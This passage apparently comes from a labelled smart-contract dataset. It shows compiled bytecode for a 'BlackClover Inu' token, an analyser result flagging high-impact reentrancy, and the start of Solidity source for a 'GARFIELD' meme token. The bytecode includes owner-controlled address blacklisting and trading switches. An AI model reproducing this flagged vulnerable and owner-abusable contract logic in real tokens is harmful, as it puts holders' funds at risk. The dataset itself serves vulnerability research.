e565b60405180910390f35b60606040518060400160405280600f81526020017f426c61636b436c6f76657220496e750000000000000000000000000000000000815250905090565b60006104c86104c161142a565b8484611432565b6001905092915050565b6000687877874945e17a0c00905090565b6104eb61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f2e565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613304565b91505061057b565b5050565b60006106408484846115fd565b6107018461064c61142a565b6106fc8560405180606001604052806028815260200161372760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b261142a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c909092919063ffffffff16565b611432565b600190509392505050565b61071461142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f2e565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f2e565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f2e565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83687877874945e17a0c00611cf490919063ffffffff16565b611d6f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d261142a565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611db9565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e25565b9050919050565b610a5c61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f2e565b60405180910390fd5b687877874945e17a0c00600f81905550687877874945e17a0c00601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4243490000000000000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd161142a565b84846115fd565b6001905092915050565b610cea61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f2e565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583687877874945e17a0c00611cf490919063ffffffff16565b611d6f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd61142a565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611e93565b50565b610e3e61142a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f2e565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1290612fce565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16687877874945e17a0c00611432565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102991906128bb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c391906128bb565b6040518363ffffffff1660e01b81526004016110e0929190612d7e565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113291906128bb565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612dd0565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612a67565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550680268ca62bebc341800600f819055506804d194c57d786830006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161134d929190612da7565b602060405180830381600087803b15801561136757600080fd5b505af115801561137b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139f9190612a15565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149990612fae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990612ece565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f09190612fee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166490612f6e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612e6e565b60405180910390fd5b60008111611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790612f4e565b60405180910390fd5b6000600a81905550600a600b81905550611738610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119035750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119595750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119715750600e60179054906101000a900460ff165b15611aaf57600f548111156119bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b290612e8e565b60405180910390fd5b601054816119c884610a03565b6119d29190613124565b1115611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a90612f8e565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5e57600080fd5b601e42611a6b9190613124565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b5a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bc6576000600a81905550600a600b819055505b6000611bd130610a03565b9050600e60159054906101000a900460ff16158015611c3e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c565750600e60169054906101000a900460ff165b15611c7e57611c6481611e93565b60004790506000811115611c7c57611c7b47611db9565b5b505b505b611c8b83838361218d565b505050565b6000838311158290611cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccf9190612e4c565b60405180910390fd5b5060008385611ce79190613205565b9050809150509392505050565b600080831415611d075760009050611d69565b60008284611d1591906131ab565b9050828482611d24919061317a565b14611d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5b90612f0e565b60405180910390fd5b809150505b92915050565b6000611db183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061219d565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e21573d6000803e3d6000fd5b5050565b6000600854821115611e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6390612eae565b60405180910390fd5b6000611e76612200565b9050611e8b8184611d6f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f1f5781602001602082028036833780820191505090505b5090503081600081518110611f5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fff57600080fd5b505afa158015612013573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203791906128bb565b81600181518110612071577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611432565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161213c959493929190613009565b600060405180830381600087803b15801561215657600080fd5b505af115801561216a573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61219883838361222b565b505050565b600080831182906121e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121db9190612e4c565b60405180910390fd5b50600083856121f3919061317a565b9050809150509392505050565b600080600061220d6123f6565b915091506122248183611d6f90919063ffffffff16565b9250505090565b60008060008060008061223d87612458565b95509550955095509550955061229b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237c81612568565b6123868483612625565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e39190612fee565b60405180910390a3505050505050505050565b600080600060085490506000687877874945e17a0c00905061242c687877874945e17a0c00600854611d6f90919063ffffffff16565b82101561244b57600854687877874945e17a0c00935093505050612454565b81819350935050505b9091565b60008060008060008060008060006124758a600a54600b5461265f565b9250925092506000612485612200565b905060008060006124988e8787876126f5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c90565b905092915050565b60008082846125199190613124565b90508381101561255e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255590612eee565b60405180910390fd5b8091505092915050565b6000612572612200565b905060006125898284611cf490919063ffffffff16565b90506125dd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263a826008546124c090919063ffffffff16565b6008819055506126558160095461250a90919063ffffffff16565b6009819055505050565b60008060008061268b606461267d888a611cf490919063ffffffff16565b611d6f90919063ffffffff16565b905060006126b560646126a7888b611cf490919063ffffffff16565b611d6f90919063ffffffff16565b905060006126de826126d0858c6124c090919063ffffffff16565b6124c090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061270e8589611cf490919063ffffffff16565b905060006127258689611cf490919063ffffffff16565b9050600061273c8789611cf490919063ffffffff16565b905060006127658261275785876124c090919063ffffffff16565b6124c090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279161278c846130a3565b61307e565b905080838252602082019050828560208602820111156127b057600080fd5b60005b858110156127e057816127c688826127ea565b8452602084019350602083019250506001810190506127b3565b5050509392505050565b6000813590506127f9816136e1565b92915050565b60008151905061280e816136e1565b92915050565b600082601f83011261282557600080fd5b813561283584826020860161277e565b91505092915050565b60008135905061284d816136f8565b92915050565b600081519050612862816136f8565b92915050565b6000813590506128778161370f565b92915050565b60008151905061288c8161370f565b92915050565b6000602082840312156128a457600080fd5b60006128b2848285016127ea565b91505092915050565b6000602082840312156128cd57600080fd5b60006128db848285016127ff565b91505092915050565b600080604083850312156128f757600080fd5b6000612905858286016127ea565b9250506020612916858286016127ea565b9150509250929050565b60008060006060848603121561293557600080fd5b6000612943868287016127ea565b9350506020612954868287016127ea565b925050604061296586828701612868565b9150509250925092565b6000806040838503121561298257600080fd5b6000612990858286016127ea565b92505060206129a185828601612868565b9150509250929050565b6000602082840312156129bd57600080fd5b600082013567ffffffffffffffff8111156129d757600080fd5b6129e384828501612814565b91505092915050565b6000602082840312156129fe57600080fd5b6000612a0c8482850161283e565b91505092915050565b600060208284031215612a2757600080fd5b6000612a3584828501612853565b91505092915050565b600060208284031215612a5057600080fd5b6000612a5e84828501612868565b91505092915050565b600080600060608486031215612a7c57600080fd5b6000612a8a8682870161287d565b9350506020612a9b8682870161287d565b9250506040612aac8682870161287d565b9150509250925092565b6000612ac28383612ace565b60208301905092915050565b612ad781613239565b82525050565b612ae681613239565b82525050565b6000612af7826130df565b612b018185613102565b9350612b0c836130cf565b8060005b83811015612b3d578151612b248882612ab6565b9750612b2f836130f5565b925050600181019050612b10565b5085935050505092915050565b612b538161324b565b82525050565b612b628161328e565b82525050565b6000612b73826130ea565b612b7d8185613113565b9350612b8d8185602086016132a0565b612b96816133da565b840191505092915050565b6000612bae602383613113565b9150612bb9826133eb565b604082019050919050565b6000612bd1601983613113565b9150612bdc8261343a565b602082019050919050565b6000612bf4602a83613113565b9150612bff82613463565b604082019050919050565b6000612c17602283613113565b9150612c22826134b2565b604082019050919050565b6000612c3a601b83613113565b9150612c4582613501565b602082019050919050565b6000612c5d602183613113565b9150612c688261352a565b604082019050919050565b6000612c80602083613113565b9150612c8b82613579565b602082019050919050565b6000612ca3602983613113565b9150612cae826135a2565b604082019050919050565b6000612cc6602583613113565b9150612cd1826135f1565b604082019050919050565b6000612ce9601a83613113565b9150612cf482613640565b602082019050919050565b6000612d0c602483613113565b9150612d1782613669565b604082019050919050565b6000612d2f601783613113565b9150612d3a826136b8565b602082019050919050565b612d4e81613277565b82525050565b612d5d81613281565b82525050565b6000602082019050612d786000830184612add565b92915050565b6000604082019050612d936000830185612add565b612da06020830184612add565b9392505050565b6000604082019050612dbc6000830185612add565b612dc96020830184612d45565b9392505050565b600060c082019050612de56000830189612add565b612df26020830188612d45565b612dff6040830187612b59565b612e0c6060830186612b59565b612e196080830185612add565b612e2660a0830184612d45565b979650505050505050565b6000602082019050612e466000830184612b4a565b92915050565b60006020820190508181036000830152612e668184612b68565b905092915050565b60006020820190508181036000830152612e8781612ba1565b9050919050565b60006020820190508181036000830152612ea781612bc4565b9050919050565b60006020820190508181036000830152612ec781612be7565b9050919050565b60006020820190508181036000830152612ee781612c0a565b9050919050565b60006020820190508181036000830152612f0781612c2d565b9050919050565b60006020820190508181036000830152612f2781612c50565b9050919050565b60006020820190508181036000830152612f4781612c73565b9050919050565b60006020820190508181036000830152612f6781612c96565b9050919050565b60006020820190508181036000830152612f8781612cb9565b9050919050565b60006020820190508181036000830152612fa781612cdc565b9050919050565b60006020820190508181036000830152612fc781612cff565b9050919050565b60006020820190508181036000830152612fe781612d22565b9050919050565b60006020820190506130036000830184612d45565b92915050565b600060a08201905061301e6000830188612d45565b61302b6020830187612b59565b818103604083015261303d8186612aec565b905061304c6060830185612add565b6130596080830184612d45565b9695505050505050565b60006020820190506130786000830184612d54565b92915050565b6000613088613099565b905061309482826132d3565b919050565b6000604051905090565b600067ffffffffffffffff8211156130be576130bd6133ab565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312f82613277565b915061313a83613277565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316f5761316e61334d565b5b828201905092915050565b600061318582613277565b915061319083613277565b9250826131a05761319f61337c565b5b828204905092915050565b60006131b682613277565b91506131c183613277565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fa576131f961334d565b5b828202905092915050565b600061321082613277565b915061321b83613277565b92508282101561322e5761322d61334d565b5b828203905092915050565b600061324482613257565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329982613277565b9050919050565b60005b838110156132be5780820151818401526020810190506132a3565b838111156132cd576000848401525b50505050565b6132dc826133da565b810181811067ffffffffffffffff821117156132fb576132fa6133ab565b5b80604052505050565b600061330f82613277565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133425761334161334d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136ea81613239565b81146136f557600080fd5b50565b6137018161324b565b811461370c57600080fd5b50565b61371881613277565b811461372357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204400b69bc75f0c0ab70813581dd46c8af6f646cbbff765a715a13ef96b7e727664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,719
0x7b392dd9bdef6e17c3d1ba62d1a6c7dcc99d839b
/** *Submitted for verification at Etherscan.io on 2021-11-11 */ /** * * $GARFIELD - GARFIELD TOKEN * * * * 💻 Website: https://thegarfieldtoken.com/ * 💬 Telegram: https://t.me/garfieldtokeneth * 🐦 Twitter: hhttps://twitter.com/GarfieldETH * * * * ⠀⠀⠀⠀⠀⠀⠀⠀⠀⡴⠞⠉⢉⣭⣿⣿⠿⣳⣤⠴⠖⠛⣛⣿⣿⡷⠖⣶⣤⡀⠀⠀⠀ * ⠀⠀⠀⠀⠀⠀⠀⣼⠁⢀⣶⢻⡟⠿⠋⣴⠿⢻⣧⡴⠟⠋⠿⠛⠠⠾⢛⣵⣿⠀⠀⠀⠀ * ⣼⣿⡿⢶⣄⠀⢀⡇⢀⡿⠁⠈⠀⠀⣀⣉⣀⠘⣿⠀⠀⣀⣀⠀⠀⠀⠛⡹⠋⠀⠀⠀⠀ * ⣭⣤⡈⢑⣼⣻⣿⣧⡌⠁⠀⢀⣴⠟⠋⠉⠉⠛⣿⣴⠟⠋⠙⠻⣦⡰⣞⠁⢀⣤⣦⣤⠀ * ⠀⠀⣰⢫⣾⠋⣽⠟⠑⠛⢠⡟⠁⠀⠀⠀⠀⠀⠈⢻⡄⠀⠀⠀⠘⣷⡈⠻⣍⠤⢤⣌⣀ * ⢀⡞⣡⡌⠁⠀⠀⠀⠀⢀⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠸⣇⠀⢾⣷⢤⣬⣉ * ⡞⣼⣿⣤⣄⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⣿⠀⠸⣿⣇⠈⠻ * ⢰⣿⡿⢹⠃⠀⣠⠤⠶⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⣿⠀⠀⣿⠛⡄⠀ * ⠈⠉⠁⠀⠀⠀⡟⡀⠀⠈⡗⠲⠶⠦⢤⣤⣤⣄⣀⣀⣸⣧⣤⣤⠤⠤⣿⣀⡀⠉⣼⡇⠀ * ⣿⣴⣴⡆⠀⠀⠻⣄⠀⠀⠡⠀⠀⠀⠈⠛⠋⠀⠀⠀⡈⠀⠻⠟⠀⢀⠋⠉⠙⢷⡿⡇⠀ * ⣻⡿⠏⠁⠀⠀⢠⡟⠀⠀⠀⠣⡀⠀⠀⠀⠀⠀⢀⣄⠀⠀⠀⠀⢀⠈⠀⢀⣀⡾⣴⠃⠀ * ⢿⠛⠀⠀⠀⠀⢸⠁⠀⠀⠀⠀⠈⠢⠄⣀⠠⠼⣁⠀⡱⠤⠤⠐⠁⠀⠀⣸⠋⢻⡟⠀⠀ * ⠈⢧⣀⣤⣶⡄⠘⣆⠀⠀⠀⠀⠀⠀⠀⢀⣤⠖⠛⠻⣄⠀⠀⠀⢀⣠⡾⠋⢀⡞⠀⠀⠀ * ⠀⠀⠻⣿⣿⡇⠀⠈⠓⢦⣤⣤⣤⡤⠞⠉⠀⠀⠀⠀⠈⠛⠒⠚⢩⡅⣠⡴⠋⠀⠀⠀⠀ * ⠀⠀⠀⠈⠻⢧⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⣻⠿⠋⠀⠀⠀⠀⠀⠀ * ⠀⠀⠀⠀⠀⠀⠉⠓⠶⣤⣄⣀⡀⠀⠀⠀⠀⠀⢀⣀⣠⡴⠖⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀ * * * _________ _____ * / ___ \ / _ \ * | / )__) | ( )__) * | | _____ _____ | | ______ _____ __ _____ * | | _____ / _ \ | _ \ | |__(_ _)| __)| | | \ * | | (_ _)| (_) || (_) / | __) | | | (__ | | | |\ | * | \____/ | | || < | | | | | __)| | | | ) | * | | | _ || \ | | _| |_ | (__ | |___ | |/ | * \__________/ |__( )__||__(\__\|__| (______)|_____)|______)|_____/ * * * Tokenomics: * * Normal Buy and Sell Tax is 10% * * Anti-dump Tokenomics where sell tax will be proportional to price impact * * 10% of all taxes collected will be redistributed to reward the holders * * Early snipers/movers advantage will be limited. * * Contract will not be renounced as we need it for the game as well as CEX listings, * but removed all functions that may affect the investors. * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] 